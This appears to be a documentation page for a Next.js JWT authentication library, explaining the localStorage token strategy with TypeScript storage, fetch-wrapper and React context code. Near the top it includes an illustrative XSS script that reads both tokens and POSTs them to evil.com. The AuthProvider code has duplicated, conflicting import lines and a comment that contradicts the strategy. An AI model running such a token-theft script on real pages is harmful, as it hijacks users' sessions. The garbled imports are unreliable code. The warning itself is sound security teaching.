Loading…
Both tokens stored in localStorage. Simple but vulnerable to XSS attacks. Only use for prototypes or low-risk applications.
localStorage is accessible to any JavaScript running on your page. If an XSS vulnerability exists, attackers can steal your authentication tokens. This is why localStorage is not recommended for production applications.
// ❌ XSS VULNERABILITY EXAMPLE
<script>
const accessToken = localStorage.getItem('auth_access_token');
const refreshToken = localStorage.getItem('auth_refresh_token');
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ accessToken, refreshToken })
});
</script>User submits credentials. Server returns both tokens in response body.
Access and refresh tokens stored in localStorage.
Access token added to Authorization header manually.
Refresh token sent in request body (not cookie) to get new access token.
# .env.local
NEXT_PUBLIC_API_URL=http://localhost:4000/**
* Strategy: both tokens in localStorage.
*
* Simple and works with any backend that returns tokens in the response body,
* but any script running on the page (e.g. via an XSS bug or a compromised
* dependency) can read the tokens. Prefer the cookie strategies for production.
* Tokens persist across tabs and browser restarts.
*/
export const TOKEN_STRATEGY = 'localStorage';
export const USES_COOKIES = false;
const ACCESS_KEY = 'auth.accessToken';
const REFRESH_KEY = 'auth.refreshToken';
const storage = (): Storage | null => {
try {
return typeof window === 'undefined' ? null : window.localStorage;
} catch {
return null; // storage disabled (e.g. privacy mode)
}
};
export const getAccessToken = (): string | null => storage()?.getItem(ACCESS_KEY) ?? null;
export const getRefreshToken = (): string | null => storage()?.getItem(REFRESH_KEY) ?? null;
export const setTokens = (tokens: { accessToken?: string; refreshToken?: string }): void => {
const s = storage();
if (!s) return;
if (tokens.accessToken) s.setItem(ACCESS_KEY, tokens.accessToken);
if (tokens.refreshToken) s.setItem(REFRESH_KEY, tokens.refreshToken);
};
export const clearTokens = (): void => {
const s = storage();
s?.removeItem(ACCESS_KEY);
s?.removeItem(REFRESH_KEY);
};
export const subscribe = (listener: () => void): (() => void) => {
if (typeof window === 'undefined') return () => {};
const onStorage = (event: StorageEvent) => {
if (event.key === ACCESS_KEY || event.key === REFRESH_KEY || event.key === null) listener();
};
window.addEventListener('storage', onStorage);
return () => window.removeEventListener('storage', onStorage);
};import { ApiError } from '@/lib/http/api-error';
import { buildUrl, request, type RequestOptions } from '@/lib/http/request';
import { AUTH_API_URL, AUTH_ENDPOINTS, SESSION_EXPIRED_EVENT } from './config';
import {
USES_COOKIES,
clearTokens,
getAccessToken,
getRefreshToken,
setTokens,
} from './token-storage';
import type {
AuthResponse,
ChangePasswordRequest,
LoginRequest,
RefreshResponse,
RegisterRequest,
ResetPasswordRequest,
UpdateProfileRequest,
User,
} from './types';
/** Endpoints where a 401 means "wrong credentials", never "expired session". */
const NO_REFRESH = [AUTH_ENDPOINTS.login, AUTH_ENDPOINTS.register, AUTH_ENDPOINTS.refresh, AUTH_ENDPOINTS.forgotPassword, AUTH_ENDPOINTS.resetPassword];
const urlOf = (input: RequestInfo | URL) =>
typeof input === 'string' ? input : input instanceof URL ? input.href : input.url;
const isNoRefreshUrl = (url: string) => {
const path = url.split('?')[0];
return NO_REFRESH.some((endpoint) => path.endsWith(endpoint));
};
async function performRefresh(): Promise<boolean> {
const refreshToken = getRefreshToken();
if (!USES_COOKIES && !refreshToken) return false;
try {
const res = await fetch(buildUrl(AUTH_API_URL, AUTH_ENDPOINTS.refresh), {
method: 'POST',
headers: { Accept: 'application/json', ...(refreshToken ? { 'Content-Type': 'application/json' } : {}) },
body: refreshToken ? JSON.stringify({ refreshToken }) : undefined,
credentials: USES_COOKIES ? 'include' : 'same-origin',
});
if (!res.ok) return false;
const data = (await res.json().catch(() => ({}))) as RefreshResponse;
setTokens(data);
return true;
} catch {
return false;
}
}
let inFlight: Promise<boolean> | null = null;
/**
* Refresh the session once, however many requests hit 401 at the same time.
* With the Web Locks API the refresh is also serialized across browser tabs,
* and a tab that waited while another tab refreshed reuses the new token.
*/
export function refreshSession(): Promise<boolean> {
if (inFlight) return inFlight;
const tokenBefore = getAccessToken();
const run = async () => {
const current = getAccessToken();
if (current && current !== tokenBefore) return true; // another tab already refreshed
return performRefresh();
};
const locks = typeof navigator !== 'undefined' ? navigator.locks : undefined;
// .then() flattens the lock's Promise<Promise<boolean>> type (runtime is already flat).
const pending: Promise<boolean> = locks ? locks.request('auth-refresh', run).then((ok) => ok) : run();
const shared = pending.finally(() => {
inFlight = null;
});
inFlight = shared;
return shared;
}
function notifySessionExpired() {
clearTokens();
if (typeof window !== 'undefined') window.dispatchEvent(new Event(SESSION_EXPIRED_EVENT));
}
/**
* Drop-in `fetch` for calls to your API: attaches the access token (or sends
* cookies), and on 401 refreshes the session once and retries the request.
*/
export const authFetch: typeof fetch = async (input, init = {}) => {
const send = () => {
const headers = new Headers(init.headers);
const token = getAccessToken();
if (token && !headers.has('Authorization')) headers.set('Authorization', `Bearer ${token}`);
return fetch(input, { ...init, headers, credentials: USES_COOKIES ? 'include' : init.credentials });
};
const res = await send();
if (res.status !== 401 || isNoRefreshUrl(urlOf(input))) return res;
if (await refreshSession()) {
const retried = await send();
if (retried.status !== 401) return retried;
}
notifySessionExpired();
return res;
};
const call = <T>(path: string, options?: RequestOptions) =>
request<T>(buildUrl(AUTH_API_URL, path), { ...options, fetcher: authFetch });
/** Typed calls for every endpoint in AUTH_ENDPOINTS. All throw ApiError on failure. */
export const authApi = {
login: (body: LoginRequest) => call<AuthResponse>(AUTH_ENDPOINTS.login, { method: 'POST', body }),
register: (body: RegisterRequest) => call<AuthResponse>(AUTH_ENDPOINTS.register, { method: 'POST', body }),
logout: () => {
const refreshToken = getRefreshToken();
return call<void>(AUTH_ENDPOINTS.logout, { method: 'POST', body: refreshToken ? { refreshToken } : undefined });
},
me: () => call<User>(AUTH_ENDPOINTS.me),
forgotPassword: (email: string) => call<void>(AUTH_ENDPOINTS.forgotPassword, { method: 'POST', body: { email } }),
resetPassword: (body: ResetPasswordRequest) => call<void>(AUTH_ENDPOINTS.resetPassword, { method: 'POST', body }),
changePassword: (body: ChangePasswordRequest) => call<void>(AUTH_ENDPOINTS.changePassword, { method: 'POST', body }),
updateProfile: (body: UpdateProfileRequest) => call<User>(AUTH_ENDPOINTS.profile, { method: 'PUT', body }),
deleteAccount: () => call<void>(AUTH_ENDPOINTS.profile, { method: 'DELETE' }),
};
export { ApiError };'use client';
import { createContext, useCallback, useContext, useEffect, useMemo, useState, type ReactNode } from 'react';
import { isApiError } from '@/lib/http/api-error';
import { authApi, refreshSession } from '@/auth/jwt/client';
import { authApi } from '@/auth/jwt/client';
import { SESSION_EXPIRED_EVENT } from '@/auth/jwt/config';
import { clearTokens, getAccessToken, getRefreshToken, setTokens, subscribe } from '@/auth/jwt/token-storage';
import { clearTokens, getAccessToken, getRefreshToken, setTokens } from '@/auth/jwt/token-storage';
import { clearTokens, getAccessToken, setTokens } from '@/auth/jwt/token-storage';
import { clearTokens, setTokens } from '@/auth/jwt/token-storage';
import type { AuthResponse, AuthStatus, LoginRequest, RegisterRequest, User } from '@/auth/jwt/types';
interface AuthContextValue {
user: User | null;
status: AuthStatus;
isAuthenticated: boolean;
/** Sign in; resolves with the user, rejects with ApiError (e.g. 401 wrong credentials). */
login: (credentials: LoginRequest) => Promise<User>;
/** Create an account and sign in. */
register: (data: RegisterRequest) => Promise<User>;
/** Sign out on the server (best effort) and clear local session state. */
logout: () => Promise<void>;
/** Re-fetch the current user (e.g. after a profile update). */
refreshUser: () => Promise<User | null>;
}
const AuthContext = createContext<AuthContextValue | undefined>(undefined);
export function AuthProvider({ children }: { children: ReactNode }) {
const [user, setUser] = useState<User | null>(null);
const [status, setStatus] = useState<AuthStatus>('loading');
const signedOut = useCallback(() => {
setUser(null);
setStatus('unauthenticated');
}, []);
const applySession = useCallback((res: AuthResponse) => {
setTokens({ accessToken: res.accessToken, refreshToken: res.refreshToken });
setUser(res.user);
setStatus('authenticated');
return res.user;
}, []);
const refreshUser = useCallback(async () => {
// The access token only lives in memory: after a reload, trade the refresh cookie for a new one.
if (!getAccessToken()) await refreshSession();
if (!getAccessToken() && !getRefreshToken()) {
signedOut();
return null;
}
try {
const me = await authApi.me();
setUser(me);
setStatus('authenticated');
return me;
} catch (error) {
if (isApiError(error) && (error.status === 401 || error.status === 403)) clearTokens();
signedOut();
return null;
}
}, [signedOut]);
// Restore the session on first load.
useEffect(() => {
void refreshUser();
}, [refreshUser]);
// authFetch fires this when a refresh fails — the session is over.
useEffect(() => {
window.addEventListener(SESSION_EXPIRED_EVENT, signedOut);
return () => window.removeEventListener(SESSION_EXPIRED_EVENT, signedOut);
}, [signedOut]);
// Signing in or out in another tab updates this one.
useEffect(() => subscribe(() => void refreshUser()), [refreshUser]);
const login = useCallback(async (credentials: LoginRequest) => applySession(await authApi.login(credentials)), [applySession]);
const register = useCallback(async (data: RegisterRequest) => applySession(await authApi.register(data)), [applySession]);
const logout = useCallback(async () => {
try {
await authApi.logout();
} catch {
// The local session is cleared regardless of what the server says.
} finally {
clearTokens();
signedOut();
}
}, [signedOut]);
const value = useMemo<AuthContextValue>(
() => ({ user, status, isAuthenticated: status === 'authenticated', login, register, logout, refreshUser }),
[user, status, login, register, logout, refreshUser],
);
return <AuthContext.Provider value={value}>{children}</AuthContext.Provider>;
}
export function useAuth() {
const context = useContext(AuthContext);
if (!context) throw new Error('useAuth must be used within AuthProvider');
return context;
}// If you MUST use localStorage, here are mitigations:
// 1. Short token lifetime (5m access, 1h refresh)
// 2. Rotate refresh tokens on each refresh
// 3. Store token fingerprint (hash of user agent + IP)
// 4. Use CSP headers: Content-Security-Policy: default-src 'self'
// 5. Sanitize all user input to prevent XSS
// BUT: These are mitigations, not solutions.